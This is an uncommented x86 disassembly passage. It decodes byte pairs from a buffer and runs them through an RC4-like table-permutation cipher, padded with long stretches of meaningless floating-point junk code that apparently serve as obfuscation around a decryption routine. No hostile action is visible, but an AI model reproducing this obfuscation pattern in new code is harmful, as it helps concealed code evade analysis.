fld qword [ebp - 0xf84]
fmul qword [ebp - 0xf7c]
fstp qword [ebp - 0xf84]
fld qword [ebp - 0xffc]
fmul qword [ebp - 0xf7c]
fstp qword [ebp - 0xffc]
fld qword [ebp - 0xf84]
fcomp qword [ebp - 0xfbc]
fnstsw ax
test ah, 0x41
jne 0x51ce55
fld qword [ebp - 0xf7c]
fsub qword [ebp - 0xf84]
fstp qword [ebp - 0xf7c]
fld qword [ebp - 0xf84]
fadd qword [ebp - 0x1044]
fstp qword [ebp - 0xf84]
fld qword [ebp - 0x1044]
fadd qword [ebp - 0xffc]
fstp qword [ebp - 0x1044]
fld qword [ebp - 0xf84]
fsub qword [ebp - 0x1044]
fstp qword [ebp - 0xf84]
fld qword [ebp - 0x1044]
fadd qword [ebp - 0xffc]
fstp qword [ebp - 0x1044]
mov eax, dword [ebp - 0x1034]
shl eax, 1
mov dword [ebp - 0xf88], eax
jmp 0x51ceaf
fld qword [ebp - 0xfbc]
fsub qword [ebp - 0xf84]
fstp qword [ebp - 0xfbc]
fld qword [ebp - 0x1044]
fmul qword [ebp - 0xfbc]
fstp qword [ebp - 0x1044]
fld qword [ebp - 0xffc]
fsub qword [ebp - 0xf7c]
fstp qword [ebp - 0xffc]
fld qword [ebp - 0xf7c]
fdiv qword [ebp - 0x1044]
fstp qword [ebp - 0xf7c]
fld qword [ebp - 0xf7c]
fmul qword [ebp - 0x1044]
fstp qword [ebp - 0xf7c]
and dword [ebp - 0x105c], 0
mov eax, dword [ebp - 0xe44]
add eax, dword [ebp - 0xf88]
movzx eax, byte [eax]
add eax, dword [ebp - 0x105c]
mov dword [ebp - 0x105c], eax
and dword [ebp - 0xfcc], 0
mov eax, dword [ebp - 0xfcc]
add eax, 0x85
mov dword [ebp - 0xfcc], eax
and dword [ebp - 0xff0], 0
mov eax, dword [ebp - 0x1034]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xff0], eax
and dword [ebp - 0x1084], 0
mov eax, dword [ebp - 0xe44]
add eax, dword [ebp - 0xff0]
movzx eax, byte [eax]
add eax, dword [ebp - 0x1084]
mov dword [ebp - 0x1084], eax
and dword [ebp - 0x1058], 0
mov eax, dword [ebp - 0x1058]
add eax, 0x77
mov dword [ebp - 0x1058], eax
and dword [ebp - 0x1080], 0
mov eax, dword [ebp - 0x105c]
sub eax, dword [ebp - 0xfcc]
add eax, dword [ebp - 0x1080]
mov dword [ebp - 0x1080], eax
and dword [ebp - 0xf94], 0
mov eax, dword [ebp - 0x1084]
sub eax, dword [ebp - 0x1058]
add eax, dword [ebp - 0xf94]
mov dword [ebp - 0xf94], eax
and dword [ebp - 0x107c], 0
fld qword [0x9a6cf8]
fstp qword [ebp - 0x103c]
fld qword [0x9a6cf0]
fstp qword [ebp - 0xfec]
fld qword [0x9a6ce8]
fstp qword [ebp - 0xfb4]
fld qword [0x9a6ce0]
fstp qword [ebp - 0xf74]
fld qword [0x9a6cd8]
fstp qword [ebp - 0x1074]
fld qword [0x9a6cd0]
fstp qword [ebp - 0x102c]
fld qword [ebp - 0x103c]
fmul qword [ebp - 0x102c]
fstp qword [ebp - 0x103c]
fld qword [ebp - 0xfb4]
fmul qword [ebp - 0x102c]
fstp qword [ebp - 0xfb4]
fld qword [ebp - 0xfb4]
fsub qword [ebp - 0x102c]
fstp qword [ebp - 0xfb4]
fld qword [ebp - 0x1074]
fmul qword [ebp - 0x102c]
fstp qword [ebp - 0x1074]
fld qword [ebp - 0x1074]
fsub qword [ebp - 0x102c]
fstp qword [ebp - 0x1074]
fld qword [ebp - 0x103c]
fadd qword [ebp - 0x102c]
fstp qword [ebp - 0x103c]
fld qword [ebp - 0x103c]
fcomp qword [ebp - 0x102c]
fnstsw ax
test ah, 0x41
jne 0x51d0c1
fld qword [ebp - 0x102c]
fmul qword [ebp - 0xfec]
fstp qword [ebp - 0x102c]
fld qword [ebp - 0xf74]
fmul qword [ebp - 0x102c]
fstp qword [ebp - 0xf74]
fld qword [ebp - 0x103c]
fadd qword [ebp - 0xfb4]
fstp qword [ebp - 0x103c]
fld qword [ebp - 0xfb4]
fmul qword [ebp - 0x1074]
fstp qword [ebp - 0xfb4]
fld qword [ebp - 0x102c]
fmul qword [ebp - 0xfec]
fstp qword [ebp - 0x102c]
fld qword [ebp - 0xfb4]
fsub qword [ebp - 0x1074]
fstp qword [ebp - 0xfb4]
mov eax, dword [ebp - 0x1080]
shl eax, 4
mov dword [ebp - 0x107c], eax
jmp 0x51d12d
fld qword [ebp - 0x103c]
fmul qword [ebp - 0xfb4]
fstp qword [ebp - 0x103c]
fld qword [ebp - 0x102c]
fdiv qword [ebp - 0xfec]
fstp qword [ebp - 0x102c]
fld qword [ebp - 0xf74]
fmul qword [ebp - 0x102c]
fstp qword [ebp - 0xf74]
fld qword [ebp - 0xfec]
fdiv qword [ebp - 0xf74]
fstp qword [ebp - 0xfec]
fld qword [ebp - 0x103c]
fmul qword [ebp - 0xfb4]
fstp qword [ebp - 0x103c]
fld qword [ebp - 0x1074]
fsub qword [ebp - 0x103c]
fstp qword [ebp - 0x1074]
and dword [ebp - 0x1054], 0
mov eax, dword [ebp - 0xf94]
mov dword [ebp - 0x1054], eax
and dword [ebp - 0x1020], 0
mov eax, dword [ebp - 0x107c]
or eax, dword [ebp - 0x1054]
mov dword [ebp - 0x1020], eax
mov byte [ebp - 0xfdd], 0
mov al, byte [ebp - 0x1020]
mov byte [ebp - 0xfdd], al
mov byte [ebp - 0x1075], 0
movzx eax, byte [ebp - 0xe39]
mov al, byte [ebp + eax - 0xf4c]
mov byte [ebp - 0x1075], al
movzx eax, byte [ebp - 0xf5f]
movzx eax, byte [ebp + eax - 0xf4c]
movzx ecx, byte [ebp - 0xe49]
add ecx, eax
mov byte [ebp - 0xe49], cl
mov al, byte [ebp - 0xf5f]
add al, 1
mov byte [ebp - 0xf5f], al
movzx eax, byte [ebp - 0xe49]
movzx ecx, byte [ebp - 0xe39]
mov al, byte [ebp + eax - 0xf4c]
mov byte [ebp + ecx - 0xf4c], al
movzx eax, byte [ebp - 0xf55]
movzx ecx, byte [ebp - 0xe49]
mov al, byte [ebp + eax - 0xf4c]
mov byte [ebp + ecx - 0xf4c], al
movzx eax, byte [ebp - 0xf5f]
movzx ecx, byte [ebp - 0xf55]
mov al, byte [ebp + eax - 0xf4c]
mov byte [ebp + ecx - 0xf4c], al
movzx eax, byte [ebp - 0xf5f]
mov cl, byte [ebp - 0x1075]
mov byte [ebp + eax - 0xf4c], cl
movzx eax, byte [ebp - 0x1075]
movzx eax, byte [ebp + eax - 0xf4c]
movzx ecx, byte [ebp - 0xf4d]
add ecx, eax
mov byte [ebp - 0xf4d], cl
movzx eax, byte [ebp - 0xfdd]
movzx ecx, byte [ebp - 0xe49]
movzx ecx, byte [ebp + ecx - 0xf4c]
movzx edx, byte [ebp - 0xf5f]
movzx edx, byte [ebp + edx - 0xf4c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xf4c]
xor eax, ecx
movzx ecx, byte [ebp - 0xf55]
movzx ecx, byte [ebp + ecx - 0xf4c]
movzx edx, byte [ebp - 0xe39]
movzx edx, byte [ebp + edx - 0xf4c]
add ecx, edx
movzx edx, byte [ebp - 0xf4d]
movzx edx, byte [ebp + edx - 0xf4c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xf4c]
movzx ecx, byte [ebp + ecx - 0xf4c]
xor eax, ecx
mov byte [ebp - 0xf55], al
mov al, byte [ebp - 0xfdd]
mov byte [ebp - 0xe39], al
mov al, byte [ebp - 0xf55]
mov byte [ebp - 0x104d], al
cmp dword [ebp - 0x1034], 0
jle 0x51d2f6
movsx ax, byte [ebp - 0x104d]
mov ecx, dword [ebp - 0x1034]
mov word [ebp + ecx*2 - 0x4e6], ax
mov eax, dword [ebp - 0x1034]
inc eax
mov dword [ebp - 0x1034], eax
mov eax, dword [ebp - 0x1030]
inc eax
mov dword [ebp - 0x1030], eax
mov eax, dword [ebp - 0x1034]
shl eax, 1
mov dword [ebp - 0xf88], eax
mov eax, dword [ebp - 0xe44]
add eax, dword [ebp - 0xf88]
movzx eax, byte [eax]
mov dword [ebp - 0x105c], eax
mov dword [ebp - 0xfcc], 0x85
mov eax, dword [ebp - 0x1034]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xff0], eax
mov eax, dword [ebp - 0xe44]
add eax, dword [ebp - 0xff0]
movzx eax, byte [eax]
mov dword [ebp - 0x1084], eax
mov dword [ebp - 0x1058], 0x77
mov eax, dword [ebp - 0x105c]
sub eax, dword [ebp - 0xfcc]
mov dword [ebp - 0x1080], eax
mov eax, dword [ebp - 0x1084]
sub eax, dword [ebp - 0x1058]
mov dword [ebp - 0xf94], eax
mov eax, dword [ebp - 0x1080]
shl eax, 4
mov dword [ebp - 0x107c], eax
mov eax, dword [ebp - 0xf94]
mov dword [ebp - 0x1054], eax
mov eax, dword [ebp - 0x107c]
or eax, dword [ebp - 0x1054]
mov dword [ebp - 0x1020], eax
mov al, byte [ebp - 0x1020]
mov byte [ebp - 0xfdd], al
movzx eax, byte [ebp - 0xe39]
mov al, byte [ebp + eax - 0xf4c]
mov byte [ebp - 0x1075], al
movzx eax, byte [ebp - 0xf5f]
movzx eax, byte [ebp + eax - 0xf4c]
movzx ecx, byte [ebp - 0xe49]
add ecx, eax
mov byte [ebp - 0xe49], cl
mov al, byte [ebp - 0xf5f]
add al, 1
mov byte [ebp - 0xf5f], al
movzx eax, byte [ebp - 0xe49]
movzx ecx, byte [ebp - 0xe39]
mov al, byte [ebp + eax - 0xf4c]
mov byte [ebp + ecx - 0xf4c], al
movzx eax, byte [ebp - 0xf55]
movzx ecx, byte [ebp - 0xe49]
mov al, byte [ebp + eax - 0xf4c]
mov byte [ebp + ecx - 0xf4c], al
movzx eax, byte [ebp - 0xf5f]
movzx ecx, byte [ebp - 0xf55]
mov al, byte [ebp + eax - 0xf4c]
mov byte [ebp + ecx - 0xf4c], al
movzx eax, byte [ebp - 0xf5f]
mov cl, byte [ebp - 0x1075]
mov byte [ebp + eax - 0xf4c], cl
movzx eax, byte [ebp - 0x1075]
movzx eax, byte [ebp + eax - 0xf4c]
movzx ecx, byte [ebp - 0xf4d]
add ecx, eax
mov byte [ebp - 0xf4d], cl
movzx eax, byte [ebp - 0xfdd]
movzx ecx, byte [ebp - 0xe49]
movzx ecx, byte [ebp + ecx - 0xf4c]
movzx edx, byte [ebp - 0xf5f]
movzx edx, byte [ebp + edx - 0xf4c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xf4c]
xor eax, ecx
movzx ecx, byte [ebp - 0xf55]
movzx ecx, byte [ebp + ecx - 0xf4c]
movzx edx, byte [ebp - 0xe39]
movzx edx, byte [ebp + edx - 0xf4c]
add ecx, edx
movzx edx, byte [ebp - 0xf4d]
movzx edx, byte [ebp + edx - 0xf4c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xf4c]
movzx ecx, byte [ebp + ecx - 0xf4c]
xor eax, ecx
mov byte [ebp - 0xf55], al
mov al, byte [ebp - 0xfdd]
mov byte [ebp - 0xe39], al
mov al, byte [ebp - 0xf55]
mov byte [ebp - 0x104d], al
cmp dword [ebp - 0x1034], 0
jle 0x51d54c
movsx ax, byte [ebp - 0x104d]
mov ecx, dword [ebp - 0x1034]
mov word [ebp + ecx*2 - 0x4e6], ax
mov eax, dword [ebp - 0x1034]
inc eax
mov dword [ebp - 0x1034], eax
mov eax, dword [ebp - 0x1030]
inc eax
mov dword [ebp - 0x1030], eax
mov eax, dword [ebp - 0x1034]
shl eax, 1
mov dword [ebp - 0xf88], eax
mov eax, dword [ebp - 0xe44]
add eax, dword [ebp - 0xf88]
movzx eax, byte [eax]
mov dword [ebp - 0x105c], eax
mov dword [ebp - 0xfcc], 0x85
mov eax, dword [ebp - 0x1034]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xff0], eax
fld qword [0x9a6cc8]
fstp qword [ebp - 0xfdc]
fld qword [0x9a6cc0]
fstp qword [ebp - 0xfa4]
fld qword [0x9a6cb8]
fstp qword [ebp - 0x106c]
fld qword [ebp - 0xfa4]
fmul qword [ebp - 0x106c]
fstp qword [ebp - 0xfa4]
fld qword [ebp - 0xfa4]
fmul qword [ebp - 0x106c]
fstp qword [ebp - 0xfa4]
fld qword [ebp - 0xfa4]
fsub qword [ebp - 0x106c]
fstp qword [ebp - 0xfa4]
fld qword [ebp - 0xfa4]
fcomp qword [ebp - 0x106c]
fnstsw ax
test ah, 0x41
jne 0x51d660
fld qword [ebp - 0xfdc]
fadd qword [ebp - 0x106c]
fstp qword [ebp - 0xfdc]
fld qword [ebp - 0xfdc]
fadd qword [ebp - 0x106c]
fstp qword [ebp - 0xfdc]
fld qword [ebp - 0xfa4]
fsub qword [ebp - 0xfdc]
fstp qword [ebp - 0xfa4]
mov eax, dword [ebp - 0xe44]
add eax, dword [ebp - 0xff0]
movzx eax, byte [eax]
mov dword [ebp - 0x1084], eax
jmp 0x51d74d
fld qword [ebp - 0xfa4]
fsub qword [ebp - 0x106c]
fstp qword [ebp - 0xfa4]
fld qword [ebp - 0xfa4]
fadd qword [ebp - 0x106c]
fstp qword [ebp - 0xfa4]
fld qword [ebp - 0x106c]
fadd qword [ebp - 0xfdc]
fstp qword [ebp - 0x106c]
fld qword [ebp - 0xfdc]
fadd qword [ebp - 0xfa4]
fstp qword [ebp - 0xfdc]
fld qword [ebp - 0xfdc]
fadd qword [ebp - 0xfa4]
fstp qword [ebp - 0xfdc]
fld qword [ebp - 0xfdc]
fadd qword [ebp - 0xfa4]
fstp qword [ebp - 0xfdc]
fld qword [ebp - 0xfa4]
fcomp qword [ebp - 0x106c]
fnstsw ax
test ah, 0x41
jne 0x51d717
fld qword [ebp - 0xfa4]
fadd qword [ebp - 0xfdc]
fstp qword [ebp - 0xfa4]
fld qword [ebp - 0xfa4]
fadd qword [ebp - 0xfdc]
fstp qword [ebp - 0xfa4]
fld qword [ebp - 0xfa4]
fsub qword [ebp - 0xfdc]
fstp qword [ebp - 0xfa4]
jmp 0x51d74d
fld qword [ebp - 0xfdc]
fsub qword [ebp - 0x106c]
fstp qword [ebp - 0xfdc]
fld qword [ebp - 0xfdc]
fmul qword [ebp - 0x106c]
fstp qword [ebp - 0xfdc]
fld qword [ebp - 0xfdc]
fdiv qword [ebp - 0x106c]
fstp qword [ebp - 0xfdc]
mov dword [ebp - 0x1058], 0x77
mov eax, dword [ebp - 0x105c]
sub eax, dword [ebp - 0xfcc]
mov dword [ebp - 0x1080], eax
mov eax, dword [ebp - 0x1084]
sub eax, dword [ebp - 0x1058]
mov dword [ebp - 0xf94], eax
mov eax, dword [ebp - 0x1080]
shl eax, 4
mov dword [ebp - 0x107c], eax
mov eax, dword [ebp - 0xf94]
mov dword [ebp - 0x1054], eax
mov eax, dword [ebp - 0x107c]
or eax, dword [ebp - 0x1054]
mov dword [ebp - 0x1020], eax
mov al, byte [ebp - 0x1020]
mov byte [ebp - 0xfdd], al
movzx eax, byte [ebp - 0xe39]
mov al, byte [ebp + eax - 0xf4c]
mov byte [ebp - 0x1075], al
movzx eax, byte [ebp - 0xf5f]
movzx eax, byte [ebp + eax - 0xf4c]
movzx ecx, byte [ebp - 0xe49]
add ecx, eax
mov byte [ebp - 0xe49], cl
mov al, byte [ebp - 0xf5f]
add al, 1
mov byte [ebp - 0xf5f], al
movzx eax, byte [ebp - 0xe49]
movzx ecx, byte [ebp - 0xe39]
mov al, byte [ebp + eax - 0xf4c]
mov byte [ebp + ecx - 0xf4c], al
movzx eax, byte [ebp - 0xf55]
movzx ecx, byte [ebp - 0xe49]
mov al, byte [ebp + eax - 0xf4c]
mov byte [ebp + ecx - 0xf4c], al
movzx eax, byte [ebp - 0xf5f]
movzx ecx, byte [ebp - 0xf55]
mov al, byte [ebp + eax - 0xf4c]
mov byte [ebp + ecx - 0xf4c], al
movzx eax, byte [ebp - 0xf5f]
mov cl, byte [ebp - 0x1075]
mov byte [ebp + eax - 0xf4c], cl
movzx eax, byte [ebp - 0x1075]
movzx eax, byte [ebp + eax - 0xf4c]
movzx ecx, byte [ebp - 0xf4d]
add ecx, eax
mov byte [ebp - 0xf4d], cl
movzx eax, byte [ebp - 0xfdd]
movzx ecx, byte [ebp - 0xe49]
movzx ecx, byte [ebp + ecx - 0xf4c]
movzx edx, byte [ebp - 0xf5f]
movzx edx, byte [ebp + edx - 0xf4c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xf4c]
xor eax, ecx
movzx ecx, byte [ebp - 0xf55]
movzx ecx, byte [ebp + ecx - 0xf4c]
movzx edx, byte [ebp - 0xe39]
movzx edx, byte [ebp + edx - 0xf4c]
add ecx, edx
movzx edx, byte [ebp - 0xf4d]
movzx edx, byte [ebp + edx - 0xf4c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xf4c]
movzx ecx, byte [ebp + ecx - 0xf4c]
xor eax, ecx
mov byte [ebp - 0xf55], al
mov al, byte [ebp - 0xfdd]
mov byte [ebp - 0xe39], al
mov al, byte [ebp - 0xf55]
mov byte [ebp - 0x104d], al
cmp dword [ebp - 0x1034], 0
jle 0x51d937
movsx ax, byte [ebp - 0x104d]
mov ecx, dword [ebp - 0x1034]
mov word [ebp + ecx*2 - 0x4e6], ax
mov eax, dword [ebp - 0x1034]
inc eax
mov dword [ebp - 0x1034], eax
mov eax, dword [ebp - 0x1030]
inc eax
mov dword [ebp - 0x1030], eax
mov eax, dword [ebp - 0x1034]
shl eax, 1
mov dword [ebp - 0xf88], eax
mov eax, dword [ebp - 0xe44]
add eax, dword [ebp - 0xf88]
movzx eax, byte [eax]
mov dword [ebp - 0x105c], eax
mov dword [ebp - 0xfcc], 0x85
mov eax, dword [ebp - 0x1034]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xff0], eax
mov eax, dword [ebp - 0xe44]
add eax, dword [ebp - 0xff0]
movzx eax, byte [eax]
mov dword [ebp - 0x1084], eax
mov dword [ebp - 0x1058], 0x77
mov eax, dword [ebp - 0x105c]
sub eax, dword [ebp - 0xfcc]
mov dword [ebp - 0x1080], eax
fld qword [0x9a6cb0]
fstp qword [ebp - 0x101c]
fld qword [0x9a6ca8]
fstp qword [ebp - 0xfd4]
fld qword [0x9a6ca0]
fstp qword [ebp - 0xf9c]
fld qword [0x9a6c98]
fstp qword [ebp - 0x1064]
fld qword [0x9a6c90]
fstp qword [ebp - 0x1014]
fld qword [0x9a6c88]
fstp qword [ebp - 0x100c]
fld qword [ebp - 0xf9c]
fmul qword [ebp - 0x100c]
fstp qword [ebp - 0xf9c]
fld qword [ebp - 0xfd4]
fmul qword [ebp - 0x100c]
fstp qword [ebp - 0xfd4]
fld qword [ebp - 0xf9c]
fsub qword [ebp - 0x100c]
fstp qword [ebp - 0xf9c]
fld qword [ebp - 0xf9c]
fmul qword [ebp - 0x100c]
fstp qword [ebp - 0xf9c]
fld qword [ebp - 0xf9c]
fadd qword [ebp - 0x100c]
fstp qword [ebp - 0xf9c]
fld qword [ebp - 0xf9c]
fadd qword [ebp - 0x100c]
fstp qword [ebp - 0xf9c]
fld qword [ebp - 0x100c]
fcomp qword [ebp - 0xf9c]
fnstsw ax
test ah, 5
jp 0x51db0a
fld qword [ebp - 0x1064]
fadd qword [ebp - 0x100c]
fstp qword [ebp - 0x1064]
fld qword [ebp - 0x1014]
fsub qword [ebp - 0x101c]
fstp qword [ebp - 0x1014]
fld qword [ebp - 0x101c]
fadd qword [ebp - 0xf9c]
fstp qword [ebp - 0x101c]
fld qword [ebp - 0x1014]
fmul qword [ebp - 0x101c]
fstp qword [ebp - 0x1014]
fld qword [ebp - 0x100c]
fmul qword [ebp - 0xfd4]
fstp qword [ebp - 0x100c]
fld qword [ebp - 0x100c]
fsub qword [ebp - 0xfd4]
fstp qword [ebp - 0x100c]
mov eax, dword [ebp - 0x1084]
sub eax, dword [ebp - 0x1058]
mov dword [ebp - 0xf94], eax
jmp 0x51db76
fld qword [ebp - 0x1014]
fadd qword [ebp - 0x101c]
fstp qword [ebp - 0x1014]
fld qword [ebp - 0x1014]
fmul qword [ebp - 0x101c]
fstp qword [ebp - 0x1014]
fld qword [ebp - 0x101c]
fsub qword [ebp - 0xf9c]
fstp qword [ebp - 0x101c]
fld qword [ebp - 0x1014]
fdiv qword [ebp - 0x101c]
fstp qword [ebp - 0x1014]
fld qword [ebp - 0x101c]
fadd qword [ebp - 0xf9c]
fstp qword [ebp - 0x101c]
fld qword [ebp - 0xfd4]
fadd qword [ebp - 0x1064]
fstp qword [ebp - 0xfd4]
mov eax, dword [ebp - 0x1080]
shl eax, 4
mov dword [ebp - 0x107c], eax
mov eax, dword [ebp - 0xf94]
mov dword [ebp - 0x1054], eax
mov eax, dword [ebp - 0x107c]
or eax, dword [ebp - 0x1054]
mov dword [ebp - 0x1020], eax
fld dword [0x9a6c84]
fstp dword [ebp - 0xfc8]
fld dword [0x9a6c80]
fstp dword [ebp - 0xf90]
fld dword [0x9a6c7c]
fstp dword [ebp - 0x104c]
fld dword [ebp - 0xf90]
fmul dword [ebp - 0x104c]
fstp dword [ebp - 0xf90]
fld dword [ebp - 0xf90]
fmul dword [ebp - 0x104c]
fstp dword [ebp - 0xf90]
fld dword [ebp - 0xf90]
fsub dword [ebp - 0x104c]
fstp dword [ebp - 0xf90]
fld dword [ebp - 0xf90]
fld dword [ebp - 0x104c]
fcompp
fnstsw ax
test ah, 0x41
jne 0x51dd07
fld dword [ebp - 0x104c]
fsub dword [ebp - 0xfc8]
fstp dword [ebp - 0x104c]
fld dword [ebp - 0xfc8]
fmul dword [ebp - 0xf90]
fstp dword [ebp - 0xfc8]
fld dword [ebp - 0xfc8]
fsub dword [ebp - 0xf90]
fstp dword [ebp - 0xfc8]
fld dword [ebp - 0xf90]
fdiv dword [ebp - 0xfc8]
fstp dword [ebp - 0xf90]
fld dword [ebp - 0xfc8]
fdiv dword [ebp - 0x104c]
fstp dword [ebp - 0xfc8]
fld dword [ebp - 0xf90]
fmul dword [ebp - 0xfc8]
fstp dword [ebp - 0xf90]
fld dword [ebp - 0xfc8]
fld dword [ebp - 0x104c]
fcompp
fnstsw ax
test ah, 5
jp 0x51dccf
fld dword [ebp - 0xfc8]
fadd dword [ebp - 0x104c]
fstp dword [ebp - 0xfc8]
fld dword [ebp - 0xfc8]
fadd dword [ebp - 0x104c]
fstp dword [ebp - 0xfc8]
fld dword [ebp - 0xf90]
fadd dword [ebp - 0xfc8]
fstp dword [ebp - 0xf90]
jmp 0x51dd05
fld dword [ebp - 0xfc8]
fsub dword [ebp - 0xf90]
fstp dword [ebp - 0xfc8]
fld dword [ebp - 0xf90]
fadd dword [ebp - 0x104c]
fstp dword [ebp - 0xf90]
fld dword [ebp - 0xf90]
fdiv dword [ebp - 0x104c]
fstp dword [ebp - 0xf90]
jmp 0x51dd49
fld dword [ebp - 0x104c]
fmul dword [ebp - 0xfc8]
fstp dword [ebp - 0x104c]
fld dword [ebp - 0xf90]
fmul dword [ebp - 0x104c]
fstp dword [ebp - 0xf90]
fld dword [ebp - 0xf90]
fmul dword [ebp - 0x104c]
fstp dword [ebp - 0xf90]
mov al, byte [ebp - 0x1020]
mov byte [ebp - 0xfdd], al
movzx eax, byte [ebp - 0xe39]
mov al, byte [ebp + eax - 0xf4c]
mov byte [ebp - 0x1075], al
movzx eax, byte [ebp - 0xf5f]
movzx eax, byte [ebp + eax - 0xf4c]
movzx ecx, byte [ebp - 0xe49]
add ecx, eax
mov byte [ebp - 0xe49], cl
mov al, byte [ebp - 0xf5f]
add al, 1
mov byte [ebp - 0xf5f], al
movzx eax, byte [ebp - 0xe49]
movzx ecx, byte [ebp - 0xe39]
mov al, byte [ebp + eax - 0xf4c]
mov byte [ebp + ecx - 0xf4c], al
movzx eax, byte [ebp - 0xf55]
movzx ecx, byte [ebp - 0xe49]
mov al, byte [ebp + eax - 0xf4c]
mov byte [ebp + ecx - 0xf4c], al
movzx eax, byte [ebp - 0xf5f]
movzx ecx, byte [ebp - 0xf55]
mov al, byte [ebp + eax - 0xf4c]
mov byte [ebp + ecx - 0xf4c], al
movzx eax, byte [ebp - 0xf5f]
mov cl, byte [ebp - 0x1075]
mov byte [ebp + eax - 0xf4c], cl
movzx eax, byte [ebp - 0x1075]
movzx eax, byte [ebp + eax - 0xf4c]
movzx ecx, byte [ebp - 0xf4d]
add ecx, eax
mov byte [ebp - 0xf4d], cl
movzx eax, byte [ebp - 0xfdd]
movzx ecx, byte [ebp - 0xe49]
movzx ecx, byte [ebp + ecx - 0xf4c]
movzx edx, byte [ebp - 0xf5f]
movzx edx, byte [ebp + edx - 0xf4c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xf4c]
xor eax, ecx
movzx ecx, byte [ebp - 0xf55]
movzx ecx, byte [ebp + ecx - 0xf4c]
movzx edx, byte [ebp - 0xe39]
movzx edx, byte [ebp + edx - 0xf4c]
add ecx, edx
movzx edx, byte [ebp - 0xf4d]
movzx edx, byte [ebp + edx - 0xf4c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xf4c]
movzx ecx, byte [ebp + ecx - 0xf4c]
xor eax, ecx
mov byte [ebp - 0xf55], al
mov al, byte [ebp - 0xfdd]
mov byte [ebp - 0xe39], al
fld dword [0x9a6c78]
fstp dword [ebp - 0x1004]
fld dword [0x9a6c74]
fstp dword [ebp - 0xfc4]
fld dword [0x9a6c70]
fstp dword [ebp - 0xf8c]
fld dword [0x9a6c6c]
fstp dword [ebp - 0x1048]
fld dword [0x9a6c68]
fstp dword [ebp - 0x1000]
fld dword [0x9a6c64]
fstp dword [ebp - 0xfc0]
fld dword [0x9a6c60]
fstp dword [ebp - 0xfa8]
fld dword [ebp - 0xfc0]
fmul dword [ebp - 0xfa8]
fstp dword [ebp - 0xfc0]
fld dword [ebp - 0xfc0]
fmul dword [ebp - 0xfa8]
fstp dword [ebp - 0xfc0]
fld dword [ebp - 0xfc4]
fadd dword [ebp - 0xfa8]
fstp dword [ebp - 0xfc4]
fld dword [ebp - 0xfc0]
fsub dword [ebp - 0xfa8]
fstp dword [ebp - 0xfc0]
fld dword [ebp - 0x1004]
fsub dword [ebp - 0xfa8]
fstp dword [ebp - 0x1004]
fld dword [ebp - 0xfc4]
fsub dword [ebp - 0xfa8]
fstp dword [ebp - 0xfc4]
fld dword [ebp - 0xfc4]
fmul dword [ebp - 0xfa8]
fstp dword [ebp - 0xfc4]
fld dword [ebp - 0xfa8]
fld dword [ebp - 0xfc0]
fcompp
fnstsw ax
test ah, 5
jp 0x51e00f
fld dword [ebp - 0xfa8]
fadd dword [ebp - 0x1004]
fstp dword [ebp - 0xfa8]
fld dword [ebp - 0x1000]
fadd dword [ebp - 0xfc0]
fstp dword [ebp - 0x1000]
fld dword [ebp - 0xfa8]
fsub dword [ebp - 0x1004]
fstp dword [ebp - 0xfa8]
fld dword [ebp - 0xfc4]
fmul dword [ebp - 0xf8c]
fstp dword [ebp - 0xfc4]
fld dword [ebp - 0xfc4]
fadd dword [ebp - 0xf8c]
fstp dword [ebp - 0xfc4]
fld dword [ebp - 0x1000]
fmul dword [ebp - 0xfc0]
fstp dword [ebp - 0x1000]
fld dword [ebp - 0x1004]
fmul dword [ebp - 0xfc4]
fstp dword [ebp - 0x1004]
jmp 0x51e099
fld dword [ebp - 0xfa8]
fsub dword [ebp - 0xfc4]
fstp dword [ebp - 0xfa8]
fld dword [ebp - 0xfc0]
fmul dword [ebp - 0x1004]
fstp dword [ebp - 0xfc0]
fld dword [ebp - 0x1000]
fsub dword [ebp - 0xfa8]
fstp dword [ebp - 0x1000]
fld dword [ebp - 0x1004]
fmul dword [ebp - 0xf8c]
fstp dword [ebp - 0x1004]
fld dword [ebp - 0x1048]
fadd dword [ebp - 0xfc0]
fstp dword [ebp - 0x1048]
fld dword [ebp - 0x1000]
fadd dword [ebp - 0xfa8]
fstp dword [ebp - 0x1000]
fld dword [ebp - 0xfc0]
fsub dword [ebp - 0x1004]
fstp dword [ebp - 0xfc0]
mov al, byte [ebp - 0xf55]
mov byte [ebp - 0x104d], al
cmp dword [ebp - 0x1034], 0
jle 0x51e0b8
movsx ax, byte [ebp - 0x104d]
mov ecx, dword [ebp - 0x1034]
mov word [ebp + ecx*2 - 0x4e6], ax
mov eax, dword [ebp - 0x1034]
inc eax
mov dword [ebp - 0x1034], eax
mov eax, dword [ebp - 0x1030]
inc eax
mov dword [ebp - 0x1030], eax
mov eax, dword [ebp - 0x1034]
shl eax, 1
mov dword [ebp - 0xf88], eax
mov eax, dword [ebp - 0xe44]
add eax, dword [ebp - 0xf88]
movzx eax, byte [eax]
mov dword [ebp - 0x105c], eax
mov dword [ebp - 0xfcc], 0x85
mov eax, dword [ebp - 0x1034]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xff0], eax
mov eax, dword [ebp - 0xe44]
add eax, dword [ebp - 0xff0]
movzx eax, byte [eax]
mov dword [ebp - 0x1084], eax
mov dword [ebp - 0x1058], 0x77
mov eax, dword [ebp - 0x105c]
sub eax, dword [ebp - 0xfcc]
mov dword [ebp - 0x1080], eax
mov eax, dword [ebp - 0x1084]
sub eax, dword [ebp - 0x1058]
mov dword [ebp - 0xf94], eax
mov eax, dword [ebp - 0x1080]
shl eax, 4
mov dword [ebp - 0x107c], eax
mov eax, dword [ebp - 0xf94]
mov dword [ebp - 0x1054], eax
mov eax, dword [ebp - 0x107c]
or eax, dword [ebp - 0x1054]
mov dword [ebp - 0x1020], eax
mov al, byte [ebp - 0x1020]
mov byte [ebp - 0xfdd], al
movzx eax, byte [ebp - 0xe39]
